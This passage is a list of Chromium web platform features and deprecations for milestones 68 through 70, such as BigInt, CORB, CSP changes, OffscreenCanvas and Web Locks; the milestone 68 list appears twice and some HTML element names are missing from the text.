much sense to place content at z-index:1 above the containing SVG. Gecko and Edge already implement this behavior. (\*) https://svgwg.org/svg2-draft/single-page.html#render-EstablishingStackingContex 2. BigInt: arbitrary-precision integers JavaScript gets a new numeric primitive that provides support for arbitrary-precision integers. `Number`s in JavaScript are represented as double-precision floats, giving them limited precision. `BigInt`s, on the other hand, can safely store and operate on large integers even beyond the safe integer limit for `Number`s. 3. Boolean return value of DOMTokenList replace() The DOM specification was updated so that DOMTokenList replace() returns a boolean value. This is useful for code which takes different paths depending on whether a replacement occurred, avoiding the need for an extra condition using contains(). 4. Cross-Origin Read Blocking (CORB) Cross-Origin Read Blocking (CORB) is an algorithm that can identify and block dubious cross-origin resource loads in web browsers before they reach the web page. CORB reduces the risk of leaking sensitive data by keeping it further from cross-origin web pages. In most browsers, it keeps such data out of untrusted script execution contexts. In browsers with Site Isolation, it can keep such data out of untrusted renderer processes entirely, helping even against side channel attacks like Spectre. 5. Customized built-in elements Authors can now create custom elements which inherit from the semantics of native, built-in elements. This is helpful when web authors want to add features to their custom elements, but they cannot be implemented in CSS or JavaScript though the features are available in built-in elements. 6. Fixes to modifier flags on AltGraph-shifted keydown/keypress/keyup events under Windows. In Windows the right-hand Alt key serves as AltGraph (ISO-Level-3-Shift) on some layouts (for example, many European language layouts), to allow generating additional printable characters. Internally the key generates Ctrl+Alt modifiers, so that Chrome reports all of Control, Alt and AltGraph in the flags for these keys. In this change, Chrome distinguishes AltGraph from Ctrl+Alt under Windows for consistency with modifiers on other platforms. See the comments for how this helps developers. 7. Motion sensors APIs based on Generic Sensor API Motion sensors extends the Generic Sensor API to expose a set of low-level and fusion sensors. This feature includes JS interfaces representing accelerometers, linear acceleration sensors, gyroscopes, absolute orientation sensors and relative orientation sensors. 8. RTCRtpSender/RTCRtpReceiver.getStats and RTCPeerConnection.getStats(MediaStreamTrack?) New WebRTC implementations provided a filtered view of the statistics returned by getStats() in RTCRtpSender, RTCRtpReceiver, and RTCPeerConnection, returning only stats that are relevant to the sender, receiver, or track. This change adds convenience for developers by requiring less code for filtering. Because this is based on the spec it increases cross-browser compatibility. 9. Send mouse back/forward buttons to javascript Web pages can now process mouse events (mousedown, auxclick, mouseup) for back and forward buttons on mice with five or more buttons. This allows back and forward mouse buttons to be prevented by applications that wish to override them. For example they may be useful for games. 10. Slots in a flat tree The `` element can now participate in a flat (layout) tree, with UA style: display: contents. Before this change, applying a CSS selector to a `` element had no effect. Not only is this fixed, when selectors are applied to a `` element, it's children inherit its styles. 11. Streams API: TransformStream TransformStream is part of the Streams API for creating, composing, and consuming streams of data. It enables transforming data in stream form. It is typically used in a pipe between a ReadableStream and a WritableStream. 12. Web Authentication API for Chrome The Credential Management API (Chrome 51 and later) defined a framework for retrieving credentials, including semantics for creating, getting, and storing them. It did this through two credential types: PasswordCredential and FederatedCredential. The Web Authentication API adds a third credential type, PublicKeyCredential, which allows web applications to create and use strong, cryptographically attested, and application-scoped credentials to strongly authenticate users. 13. -webkit-box-flex-group, -webkit-box-lines, % values of -webkit-line-clamp -webkit-box-flex-group - This property has virtually zero usage based on the UseCounter on stable. % values of -webkit-line-clamp - There is interest in finding a standards based solution to the number values usecase, but we haven't seen demand for the %-based values. -webkit-box-lines - This property was never fully implemented. It was originally intended such that a "vertical"/"horizontal" -webkit-box can have multiple rows/columns. 14. Intent to Deprecate \& Remove: Change how New Formatting Contexts sized and positioned off a shape area. The shape-outside property allows web developers to wrap text around a float with a non-rectangular area. In our implementation this also currently affects how new formatting contexts are sized and positioned. We want to change how they are sized and positioned, similar to how floats are positioned (based off the bounding area instead). ### [chromium68 Features:33](https://chromestatus.com/features#milestone%3D68) 1. `` will be a stacking context SVG2 specifies that `` to be a stacking context (\*). Previously, Chrome did not follow the SVG2 spec. Making `` a stacking context allows developers to place HTML content underneath a `` without confusion. For example, it wouldn't make much sense to place content at z-index:1 above the containing SVG. Gecko and Edge already implement this behavior. (\*) https://svgwg.org/svg2-draft/single-page.html#render-EstablishingStackingContex 2. BigInt: arbitrary-precision integers JavaScript gets a new numeric primitive that provides support for arbitrary-precision integers. `Number`s in JavaScript are represented as double-precision floats, giving them limited precision. `BigInt`s, on the other hand, can safely store and operate on large integers even beyond the safe integer limit for `Number`s. 3. Boolean return value of DOMTokenList replace() The DOM specification was updated so that DOMTokenList replace() returns a boolean value. This is useful for code which takes different paths depending on whether a replacement occurred, avoiding the need for an extra condition using contains(). 4. Cross-Origin Read Blocking (CORB) Cross-Origin Read Blocking (CORB) is an algorithm that can identify and block dubious cross-origin resource loads in web browsers before they reach the web page. CORB reduces the risk of leaking sensitive data by keeping it further from cross-origin web pages. In most browsers, it keeps such data out of untrusted script execution contexts. In browsers with Site Isolation, it can keep such data out of untrusted renderer processes entirely, helping even against side channel attacks like Spectre. 5. Customized built-in elements Authors can now create custom elements which inherit from the semantics of native, built-in elements. This is helpful when web authors want to add features to their custom elements, but they cannot be implemented in CSS or JavaScript though the features are available in built-in elements. 6. Fixes to modifier flags on AltGraph-shifted keydown/keypress/keyup events under Windows. In Windows the right-hand Alt key serves as AltGraph (ISO-Level-3-Shift) on some layouts (for example, many European language layouts), to allow generating additional printable characters. Internally the key generates Ctrl+Alt modifiers, so that Chrome reports all of Control, Alt and AltGraph in the flags for these keys. In this change, Chrome distinguishes AltGraph from Ctrl+Alt under Windows for consistency with modifiers on other platforms. See the comments for how this helps developers. 7. Motion sensors APIs based on Generic Sensor API Motion sensors extends the Generic Sensor API to expose a set of low-level and fusion sensors. This feature includes JS interfaces representing accelerometers, linear acceleration sensors, gyroscopes, absolute orientation sensors and relative orientation sensors. 8. RTCRtpSender/RTCRtpReceiver.getStats and RTCPeerConnection.getStats(MediaStreamTrack?) New WebRTC implementations provided a filtered view of the statistics returned by getStats() in RTCRtpSender, RTCRtpReceiver, and RTCPeerConnection, returning only stats that are relevant to the sender, receiver, or track. This change adds convenience for developers by requiring less code for filtering. Because this is based on the spec it increases cross-browser compatibility. 9. Send mouse back/forward buttons to javascript Web pages can now process mouse events (mousedown, auxclick, mouseup) for back and forward buttons on mice with five or more buttons. This allows back and forward mouse buttons to be prevented by applications that wish to override them. For example they may be useful for games. 10. Slots in a flat tree The `` element can now participate in a flat (layout) tree, with UA style: display: contents. Before this change, applying a CSS selector to a `` element had no effect. Not only is this fixed, when selectors are applied to a `` element, it's children inherit its styles. 11. Streams API: TransformStream TransformStream is part of the Streams API for creating, composing, and consuming streams of data. It enables transforming data in stream form. It is typically used in a pipe between a ReadableStream and a WritableStream. 12. Web Authentication API for Chrome The Credential Management API (Chrome 51 and later) defined a framework for retrieving credentials, including semantics for creating, getting, and storing them. It did this through two credential types: PasswordCredential and FederatedCredential. The Web Authentication API adds a third credential type, PublicKeyCredential, which allows web applications to create and use strong, cryptographically attested, and application-scoped credentials to strongly authenticate users. 13. -webkit-box-flex-group, -webkit-box-lines, % values of -webkit-line-clamp -webkit-box-flex-group - This property has virtually zero usage based on the UseCounter on stable. % values of -webkit-line-clamp - There is interest in finding a standards based solution to the number values usecase, but we haven't seen demand for the %-based values. -webkit-box-lines - This property was never fully implemented. It was originally intended such that a "vertical"/"horizontal" -webkit-box can have multiple rows/columns. 14. Intent to Deprecate \& Remove: Change how New Formatting Contexts sized and positioned off a shape area. The shape-outside property allows web developers to wrap text around a float with a non-rectangular area. In our implementation this also currently affects how new formatting contexts are sized and positioned. We want to change how they are sized and positioned, similar to how floats are positioned (based off the bounding area instead). ### [chromium69 Features:35](https://chromestatus.com/features#milestone%3D69) 1. Add RTCRtpParameters.headerExtensions This change adds support for the RTCRtpParameters.headerExtensions dictionary entry which is returned by RTCRtpSender.getParameters(). This is a read-only field that allows inspection of the parameters that are set on a PeerConnection after negotiation. 2. Array.prototype.{flat,flatMap} JavaScript arrays are getting two new methods. `Array.prototype.flat()` returns a new array with all sub-array elements concatenated into it recursively up to the specified depth. The sub-array elements become members of the new array. `Array.prototype.flatMap()` first maps each element using a mapping function, then flattens the result into a new array. This method is functionally equivalent to a map followed by a flatten of depth 1. 3. Background Tab Resource Load Throttling For invisible frames e.g. ones in background tabs, Chrome set a per-frame simultaneous loading limit; 3 for the top frame, 2 for sub-frames are permitted to go to the network stack. Excessive requests are enqueued and go when the previous request finishes. Thus, all requests will run eventually. Most fetches made by HTML elements / CSS are throttleable. WebSockets, WebRTC's data channel, Fetch API, XMLHttpRequest, EventSource, Video and Audio are excluded today to allow keep-alive connections. 4. CSP3: unsafe-hashes 'unsafe-hashes' is a feature in CSP3 which allows developers to enable specific event handlers without needing to use the less safe 'unsafe-inline' keyword. If 'unsafe-hashes' is present, inline event handlers are allowed to match against hashes specified by the 'script-src' directive (or its fallback if not present). 5. CSP: `report-to` directive The `report-to` directive wires CSP violation reports up to the Reporting API which allows the browser to bundle multiple reports when sending them to the server rather than creating a POST for each individual report. This allows reports to be collected in a way that is friendlier for users' batteries. This change also deprecates the existing `report-uri` directive. 6. CSS Scroll Snap Points The CSS scroll snap specification introduces snap points as a way to "enforce the scroll offsets that a scroll container's visual viewport may end at after a scrolling operation has completed". Scroll snapping applies to both user scroll operations such as touch, wheel scrolling, or scrollbar dragging, and programmatic scroll operations such as Element.scrollTo(). This improves the user experience by allowing scrollable zones to easily stop at predefined points. 7. CSS conic-gradient Support was added for CSS conic (angular/sweep) gradients. Conic gradients allow color transitions around a center rather than radiating from it. This allows, for example, a web developer to create a hue wheel using only two CSS properties. 8. CSS logical flow relative margins, paddings and borders Chrome now implements logical margin, padding, and border CSS properties using standard names, specifically margin-{block,inline}-{start,end}, padding-{block,inline}-{start,end} and border-{block,inline}-{start,end}-{width,style,color}. These capabilities were previously supported through -webkit prefixes and non-standard names. Shorthand properties are only added for border-{block,inline}-{start,end}. 9. Deprecation Reports A new feature of the Reporting API gives developers more insight into the functioning of their code on client machines. Deprecation reports allow deprecation warnings, currently only available in developer tool consoles, to be sent to the back end, or captured in callbacks using ReportingObserver. 10. Display cutout and CSS env() support Display cutouts are now supported in Chrome through CSS environment variables and the viewport-fit meta tag. This allows developers to take advantage of the entire screen on devices that have a display cutout. 11. Element.toggleAttribute A new method named Element.toggleAttribute() allows toggling the existence of an element's attribute in a way similar to Element.classList.toggle. An optional force parameter forces toggling the attribute even if it doesn't exist. This makes managing boolean attributes much simpler as the interface doesn't use strings as does Element.setAttribute(). 12. Fetch API: Request.isHistoryNavigation Add a boolean property to request objects to indicate whether the particular request is a history navigation. This allows a service worker to know whether a request was due to a back/forward navigation. An example of how this might be used is that a service worker could respond to such a navigation with a cached response. 13. Keyboard Map This API returns a map which translates from KeyboardEvent.code values into strings that can be shown to the user to identify each key. This is not possible with existing web platform APIs because the value that should be shown to the user depends on the keyboard layouts that the user has installed and activated. 14. Nested dedicated workers This allows workers to spawn additional, descendant dedicated workers. This can be used to better distribute tasks without needing time on the main thread where rendering and user input are being handled. This also allows libraries which use workers to be adapted to run in a worker context themselves, giving developers more options to move business logic off of the main thread. 15. Network Error Logging This feature defines a mechanism that enables developers to declare a network error reporting policy for a web application via the `NEL` header. A user agent can use this policy to report encountered network errors that prevented it from successfully fetching requested resources. This is done through the common Reporting API. 16. OffscreenCanvas OffscreenCanvas is a new interface that allows canvas rendering contexts (2D and WebGL) to be used in Workers. Making canvas rendering contexts available to workers increases parallelism in web applications, leading to improved performance on multi-core systems. As part of the required tooling for this to work, this also launches DedicatedWorker.requestAnimationFrame(), allowing animation-like events to be triggered the same on dedicated workers as they are in Window. 17. RTCRtpSender / RTCRtpReceiver.getCapabilities() The getCapabilities() method returns the most optimistic view of the capabilities of the system for sending media of the given kind. It does not reserve any resources, ports, or other state but is meant to provide a way to discover the types of capabilities of the browser including which codecs or RTP extensions may be supported. 18. Reporting API The Reporting API defines a generic reporting framework which allows web developers to associate a set of named reporting endpoints with an origin. Various platform features (like Content Security Policy, Network Error Reporting, and others) will use these endpoints to deliver feature-specific reports in a consistent manner. 19. ReportingObserver A new feature of the Reporting API gives developers more insight into the functioning of their code on client machines. The ReportingObserver API allows JavaScript to capture reports in callback, which can be used to save custom reporting data to page analytics. 20. ServiceWorkerRegistration.update() resolves with a registration. ServiceWorkerRegistration.update() previously resolved with undefined. Now it resolves to the registration object as required by the specification. 21. Stylesheets activated after the body is started do not block paint External stylesheets in the body of the document or that get activated after the body has started to be parsed will no longer block paint but they will pause the parser. The end result is that any DOM content before the body stylesheet will continue to paint but content after the stylesheet will not appear until after the stylesheet has loaded. 22. Support for CTAP2 FIDO devices via the Web Authentication API This feature adds support for CTAP2 devices, which provide advanced security capabilities such as biometric authentication and resident keys (keys stored on the device). The WebAuthentication API (https://www.chromestatus.com/feature/5669923372138496) formerly only supported Universal 2nd Factor (U2F, also known as CTAP1 ) devices at the transport layer. This change doesn't alter the API surface itself but enables richer device interactions via the existing Web Authentication API. 23. TLS 1.3 certificate compression with Brotli TLS 1.3 encrypts the server's certificates. With that protection in place, we finally have the confidence that we can implement certificate compression without causing middlebox issues. Certificate compression is an IETF TLS WG draft (https://tools.ietf.org/html/draft-ietf-tls-certificate-compression-03) and we plan on implementing that specification, supporting the Brotli algorithm. 24. Three new network quality client hints Support for the "rtt", "downlink", and "ect" client hint values and HTTP request headers have been added to Chrome to convey Chrome's network connection speed to servers. These network quality hints provide the same values as existing Network Information APIs navigator.connection.rtt, navigator.connection.downlink, and navigator.connection.effectiveType. 25. Web Locks API This API allows scripts running in one tab to asynchronously acquire a lock, hold it while work is performed, then release it. While held, no other script in the origin can acquire the same lock. A lock represents some potentially shared resource, identified by a name chosen by the web app. For example, if a web app running in multiple tabs wants to ensure that only one tab is syncing to the network, each tab could try to acquire a "my_net_sync" lock, but only one tab will succeed. 26. WebAssembly Import/Export Mutable Globals Allows WebAssembly modules to import and export mutable globals. This building block will allow efficient passing of values like shadow stacks pointers between dynamically linked modules (especially in the multi-threaded case). 27. WebAssembly Sign Extension Opcodes Add sign extension opcodes to WebAssembly. This makes some code sequences shorter and allows us to provide only zero extended versions of atomic opcodes for threads. 28. WebRTC RTCRtpTransceiver in Unified Plan When spec-complaint SDP format "Unified Plan" is used, RTCRtpTransceiver describes each sender-receiver pair that is added to the RTCPeerConnection. This represents the components used to send and receive media. Exposing the transceiver gives the application the ability to receive media early and provides more control over the generated SDP. APIs that are shipping include RTCRtpTransceiver, RTCPeerConnection.addTransceiver() and RTCPeerConnection.getTransceivers(). 29. performance.memory improvements The performance.memory property is a non-standard API, seeing significant usage from some of our partners. With this change, if the renderer is locked to a site reported values will not contain coarse quantization and delay. This will allow developers to detect performance regressions from user data more easily because the memory measurements will be more accurate and can be taken more frequently. 30. service worker: Don't expose the API to insecure contexts. Because of a technical limitation, navigator.serviceWorker was previously exposed on insecure contexts and threw a Security Error when used. After this change, navigator.serviceWorker will return undefined. This aligns with the specification. 31. Deprecate And Remove Support For Invalid DNS Names We have a security vulnerability that is rather long in the tooth (not yet public) that depends, in part, on our DNS resolver's willingness to attempt to resolve arbitrary garbage strings, including strings that could not ever be valid hostnames. I propose to remove support for such requests in our DNS resolution code, and attempt only to resolve legal hostnames ("preferred name syntax"). Additionally, I propose we accept underscores (_) in names. (See the measurement CL.) 32. Remove 'stalled' events for HTMLMediaElements using MediaSourceExtensions The HTMLMediaElement.stalled event fires when media download has failed to progress for at least 3 seconds. In Media Source Extensions, the web app manages the download and the media element is not aware of its progress. Since some apps append media data in chunks larger than 3 seconds, stalled was being fired at inappropriate times. To solve this, stalled has been removed for Media Source Extensions. 33. Remove document.createTouchList The document.createTouchList() method is being removed because the Touch() constructor has been supported since Chrome 48. 34. Remove extra form data , if "value" attribute is present with non-empty value for `` As per spec, https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#constructing-form-data-set, the constructed "form data set" should not include the value of the image button 35. window.confirm() will not activate parent page If a document in a background tab calls window.confirm() then the call to confirm() will return immediately with false, and no dialog will be shown to the user. If the tab is active, then the call will show a dialog. Specifically, this removes the ability to use window.confirm() to bring a tab to the front against the user's will. ### [chromium70 Features:25](https://chromestatus.com/features#milestone%3D70) 1. RTCPeerConnection.id (Origin Trial) RTCPeerConnection.id provides a string that identifies an RTCPeerConnection. This is useful when a peer connection needs to be referenced outside the JavaScript context, for example, on the server side, or by a logging mechanism. 2. 'name' attribute for dedicated workers This feature allows specifying the worker's name in an optional constructor argument. This lets you distinguish dedicated workers by name when you have multiple workers with the same URL. Developers can print 'name' in the DevTools console which will make it easier to debug workers. When the 'name' param is omitted, an empty string is used as the default value. For more information, see the discussion at https://github.com/whatwg/html/issues/2477. 3. AV1 Decoder AV1 is a next generation codec developed by the Alliance for Open Media. AV1 improves compression efficiency by 30% over the current state-of-the-art video codec, VP9. The AV1 decoder will be added to Chrome Desktop x86 devices (Windows, macOS, Linux, Chrome OS) based on the official bitstream specification. At this time, support is limited to "Main" profile 0 and does not include encoding capabilities. The supported container is ISO-BMFF (MP4). 4. Add referrerpolicy support to `